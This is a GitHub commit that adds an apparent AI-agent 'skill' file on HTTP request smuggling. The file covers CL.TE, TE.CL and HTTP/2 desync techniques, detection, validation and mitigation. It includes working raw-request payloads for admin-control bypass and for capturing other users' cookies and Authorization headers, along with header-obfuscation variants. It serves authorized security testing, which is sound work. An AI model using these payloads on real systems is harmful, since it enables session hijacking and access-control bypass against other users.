Skip to content

Commit 96c6394

Browse files
committed
feat: add HTTP request smuggling skill
Add strix/skills/vulnerabilities/http_request_smuggling.md covering CL.TE, TE.CL, H2.CL, H2.TE desync techniques, detection methodology, exploitation scenarios, and validation steps. Cherry-picked from usestrix#405.
1 parent c21c4d2 commit 96c6394

1 file changed

Lines changed: 255 additions & 0 deletions

File tree

Lines changed: 255 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,255 @@
1+
---
2+
name: http-request-smuggling
3+
description: HTTP request smuggling testing covering CL.TE, TE.CL, H2.CL, H2.TE, and HTTP/2 desync techniques with practical detection and exploitation methodology
4+
---
5+
6+
# HTTP Request Smuggling
7+
8+
HTTP request smuggling (HRS) exploits disagreements between a front-end proxy and a back-end server about where one HTTP request ends and the next begins. When the two systems parse `Content-Length` and `Transfer-Encoding` headers differently, an attacker can prefix a hidden request to the back-end's socket, which is then prepended to the next legitimate user's request. The impact ranges from bypassing front-end security controls to full cross-user session hijacking.
9+
10+
## Attack Surface
11+
12+
**Infrastructure Topologies**
13+
- CDN or load balancer in front of origin server (Cloudflare, Nginx, HAProxy, AWS ALB)
14+
- Reverse proxy chains (Nginx → Gunicorn, HAProxy → Node.js, Varnish → Apache)
15+
- API gateways forwarding to microservices
16+
- HTTP/2 front-end to HTTP/1.1 back-end translation (H2.CL / H2.TE)
17+
- Tunneling servers or WAFs that terminate and re-forward requests
18+
19+
**HTTP Versions in Play**
20+
- HTTP/1.1: CL.TE and TE.CL classic smuggling
21+
- HTTP/2: H2.CL (downgrade injects Content-Length) and H2.TE (injects Transfer-Encoding)
22+
- HTTP/3: emerging QUIC-based desync (less common, research-stage)
23+
24+
**Parser Differentials**
25+
- Treatment of duplicate `Content-Length` headers
26+
- Handling of `Transfer-Encoding: chunked` when `Content-Length` is also present
27+
- Chunk size obfuscation via whitespace, tab, case, or invalid extensions
28+
29+
## High-Value Targets
30+
31+
- Front-end security controls (authentication bypass via desync)
32+
- Endpoints shared by many users (high-traffic APIs, chat, feeds)
33+
- Request capture endpoints (search, logging, analytics)
34+
- Session-sensitive endpoints (auth callbacks, account settings)
35+
- Internal admin interfaces proxied through the same connection pool
36+
37+
## Core Concepts
38+
39+
### CL.TE — Front-end uses Content-Length, Back-end uses Transfer-Encoding
40+
41+
Front-end reads `Content-Length: X` bytes and forwards. Back-end reads until the `0\r\n\r\n` chunk terminator. Attacker appends a hidden request after the `0` terminator that the front-end considers part of the same body but the back-end treats as a new request.
42+
43+
```http
44+
POST / HTTP/1.1
45+
Host: target.com
46+
Content-Length: 6
47+
Transfer-Encoding: chunked
48+
49+
0
50+
51+
G
52+
```
53+
The `G` is left in the back-end's socket buffer and prepended to the next request.
54+
55+
### TE.CL — Front-end uses Transfer-Encoding, Back-end uses Content-Length
56+
57+
Front-end reads chunked body to completion. Back-end reads only `Content-Length` bytes, leaving the remainder on the socket.
58+
59+
```http
60+
POST / HTTP/1.1
61+
Host: target.com
62+
Content-Type: application/x-www-form-urlencoded
63+
Content-Length: 3
64+
Transfer-Encoding: chunked
65+
66+
8
67+
SMUGGLED
68+
0
69+
70+
71+
```
72+
73+
### H2.CL — HTTP/2 Front-end Downgrades to HTTP/1.1, Injects Content-Length
74+
75+
HTTP/2 has no `Content-Length` vs `TE` ambiguity in its own framing. But when the front-end downgrades to HTTP/1.1 for the back-end, an attacker can inject a `Content-Length` header in the HTTP/2 request pseudo-headers that conflicts with the actual body length:
76+
```
77+
:method POST
78+
:path /
79+
:authority target.com
80+
content-type application/x-www-form-urlencoded
81+
content-length: 0
82+
83+
SMUGGLED_PREFIX
84+
```
85+
86+
### H2.TE — HTTP/2 Injects Transfer-Encoding Header
87+
88+
Inject `transfer-encoding: chunked` in HTTP/2 headers (which the HTTP/2 spec forbids, but some front-ends pass through). Back-end receives both headers, may prefer TE over CL.
89+
90+
```
91+
:method POST
92+
:path /
93+
transfer-encoding: chunked
94+
95+
0
96+
97+
SMUGGLED
98+
```
99+
100+
## Key Vulnerabilities
101+
102+
### Front-End Security Control Bypass
103+
104+
A front-end proxy enforces authentication or IP restriction by checking request headers and blocking or allowing based on rules. If a smuggled prefix bypasses the front-end (because it's buried in a prior request's body from the front-end's view), the back-end processes it without the security check.
105+
106+
**PoC structure (CL.TE):**
107+
```http
108+
POST /not-restricted HTTP/1.1
109+
Host: target.com
110+
Content-Length: 116
111+
Transfer-Encoding: chunked
112+
113+
0
114+
115+
GET /admin HTTP/1.1
116+
Host: target.com
117+
X-Forwarded-Host: target.com
118+
Content-Length: 10
119+
120+
x=1
121+
```
122+
The `GET /admin` is seen by the back-end as a new, legitimate request originating from the trusted proxy IP.
123+
124+
### Cross-User Request Capture
125+
126+
Poison the back-end socket with a partial request prefix that captures the next victim user's request (including their cookies, tokens, request body) into the response of a controlled endpoint (search, comment submission).
127+
128+
**PoC structure (CL.TE capture):**
129+
```http
130+
POST /search HTTP/1.1
131+
Host: target.com
132+
Content-Length: 129
133+
Transfer-Encoding: chunked
134+
135+
0
136+
137+
POST /search HTTP/1.1
138+
Host: target.com
139+
Content-Type: application/x-www-form-urlencoded
140+
Content-Length: 100
141+
142+
q=
143+
```
144+
`Content-Length: 100` in the smuggled prefix is longer than the actual smuggled body, so the back-end waits for 100 bytes — which it sources from the *next* user's request. The `/search` endpoint reflects the query, capturing headers and body of the subsequent request.
145+
146+
### Response Queue Poisoning
147+
148+
On pipelined connections, cause a misaligned response to be delivered to the wrong user (HTTP/1.1 response queue poisoning). Used to deliver attacker-controlled content or steal another user's response.
149+
150+
### Request Reflection / Cache Poisoning Chain
151+
152+
Smuggle a prefix that hits a cacheable endpoint with an injected `Host` header. If the cache stores the response keyed only on URL, the poisoned response is served to all users requesting that URL.
153+
154+
### WebSocket Handshake Hijacking
155+
156+
If the proxy performs WebSocket upgrade, a smuggled `Upgrade` request can hijack an existing WebSocket connection from a subsequent user.
157+
158+
## Detection Techniques
159+
160+
### Timing-Based Detection
161+
162+
**CL.TE:** Send a request where `Content-Length` is complete but `Transfer-Encoding` body is missing the `0\r\n\r\n` terminator. A CL.TE-vulnerable back-end waits for the terminator, causing a timeout.
163+
164+
```http
165+
POST / HTTP/1.1
166+
Host: target.com
167+
Transfer-Encoding: chunked
168+
Content-Length: 6
169+
170+
3
171+
abc
172+
X
173+
```
174+
If response is delayed 10–30 seconds, CL.TE desync likely.
175+
176+
**TE.CL:** Send a request with `Transfer-Encoding` present but `Content-Length` set to fewer bytes than the chunk content. TE.CL back-end waits for more bytes per Content-Length.
177+
178+
### Differential Response Detection
179+
180+
Send two requests in sequence. If the second request receives an unexpected response (error, redirect, wrong content), the first may have poisoned the socket. Use a unique string in the smuggled prefix to confirm.
181+
182+
### Content-Length + Transfer-Encoding Combination
183+
184+
```http
185+
Transfer-Encoding: xchunked # non-standard value, some FE ignore, BE accept
186+
Transfer-Encoding:\x20chunked # leading space
187+
Transfer-Encoding: chunked # tab before value
188+
Transfer-Encoding: x
189+
Transfer-Encoding: chunked # duplicate TE headers, BE uses last
190+
```
191+
192+
## Transfer-Encoding Obfuscation
193+
194+
To force TE disagreement:
195+
```
196+
Transfer-Encoding: xchunked
197+
Transfer-Encoding : chunked # space before colon
198+
X: X\r\nTransfer-Encoding: chunked # header injection into existing header value
199+
Transfer-Encoding: chunked\r\nTransfer-Encoding: x # TE twice
200+
```
201+
202+
## HTTP/2-Specific Detection
203+
204+
- Send HTTP/2 requests with injected `content-length` pseudo-headers that differ from the actual body length
205+
- Inject `transfer-encoding: chunked` in HTTP/2 headers (spec-forbidden but sometimes passed through)
206+
- Use HTTP/2 header injection: inject newlines in header values if the front-end passes them to HTTP/1.1 back-end unescaped
207+
- Observe whether the HTTP/2 connection ID corresponds to a persistent HTTP/1.1 connection to the back-end (connection reuse amplifies impact)
208+
209+
## Testing Methodology
210+
211+
1. **Map the proxy chain** — identify front-end (CDN, load balancer, WAF) and back-end (app server)
212+
2. **Probe CL.TE** — send a timing probe with mismatched chunked terminator; observe delay
213+
3. **Probe TE.CL** — send a timing probe with Content-Length shorter than chunked content
214+
4. **Obfuscate TE header** — try each obfuscation variant (tab, extra space, duplicate, non-standard value)
215+
5. **Confirm with differential response** — send two rapid identical requests; if second gets an unexpected response, socket is poisoned
216+
6. **Attempt bypass exploit** — craft a smuggled `GET /admin` or restricted endpoint and observe if back-end accepts it
217+
7. **Attempt capture** — poison with a partial POST pointing to a reflective endpoint; wait for a follow-up request to fill the buffer
218+
8. **Test H2.CL/H2.TE** — repeat the same probes over HTTP/2 connections if the target supports HTTP/2
219+
220+
## Validation
221+
222+
1. Show a timing differential of 10+ seconds on the CL.TE or TE.CL probe and explain the mechanism
223+
2. Demonstrate a bypass: smuggle a request to `/admin` and receive a 200 response where a direct request returns 403
224+
3. For capture: show a subsequent user's `Cookie` or `Authorization` header appearing in the response of a controlled endpoint
225+
4. Confirm with a unique marker string in the smuggled prefix to rule out timing noise
226+
5. Provide the exact raw bytes of the smuggled request
227+
228+
## False Positives
229+
230+
- General network latency or server-side processing delays unrelated to smuggling
231+
- Server consistently close connection after first request (no connection reuse, no socket sharing)
232+
- HTTP/2 with full end-to-end HTTP/2 to back-end (no HTTP/1.1 downgrade, no desync surface)
233+
- WAF or proxy that normalizes TE/CL headers before forwarding (removes the ambiguity)
234+
235+
## Impact
236+
237+
- Authentication and authorization bypass by smuggling requests past front-end access controls
238+
- Cross-user session hijacking by capturing requests containing session tokens
239+
- Cache poisoning affecting all users of a cached resource
240+
- Internal service access bypassing IP-based restrictions enforced at the front-end
241+
- XSS delivery via response queue poisoning in shared connection contexts
242+
243+
## Pro Tips
244+
245+
1. Use Burp Suite's HTTP Request Smuggler extension as a rapid scanner, but always confirm manually — false positives are common
246+
2. TE obfuscation is the most reliable path; `Transfer-Encoding: xchunked` works on many Apache/IIS back-ends
247+
3. Keep smuggled prefixes short during detection; use the minimal body to confirm desync before attempting capture attacks
248+
4. H2.CL is the most impactful modern variant — many CDNs translate HTTP/2 to HTTP/1.1 and inject `Content-Length` from the `:content-length` pseudo-header
249+
5. In capture attacks, set `Content-Length` in the smuggled prefix larger than your partial body by 50–100 bytes to catch a full auth header from the next user
250+
6. Test during low-traffic periods first to avoid affecting real users; always get explicit authorization for capture attempts
251+
7. If timing probes are inconsistent, pipeline two requests over the same connection and look for unexpected response swapping
252+
253+
## Summary
254+
255+
HTTP request smuggling is eliminated by enforcing consistent TE/CL interpretation at every hop in the proxy chain, preferring end-to-end HTTP/2, and having back-end servers reject or normalize ambiguous requests. At the proxy level, never forward TE headers that were not present in the original request, and treat conflicting CL + TE as a hard error.

0 commit comments

Comments
 (0)